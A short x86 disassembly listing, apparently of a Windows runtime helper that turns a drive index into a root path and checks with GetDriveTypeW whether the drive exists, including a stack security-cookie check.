mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x425280]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
cmp eax, 0x1a
jbe 0x418afa
call fcn.0040d805
mov dword [eax], 0xf
call fcn.0040d818
mov dword [eax], 0xd
call fcn.0040d737
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402544
leave
ret
test eax, eax
jne 0x418b01
inc eax
jmp 0x418aee
add eax, 0x40
push 0x3a
mov word [ebp - 0xc], ax
pop eax
mov word [ebp - 0xa], ax
push 0x5c
pop eax
mov word [ebp - 8], ax
xor eax, eax
mov word [ebp - 6], ax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov ecx, eax
test ecx, ecx
je 0x418aec
xor eax, eax
cmp ecx, 1
setne al
jmp 0x418aee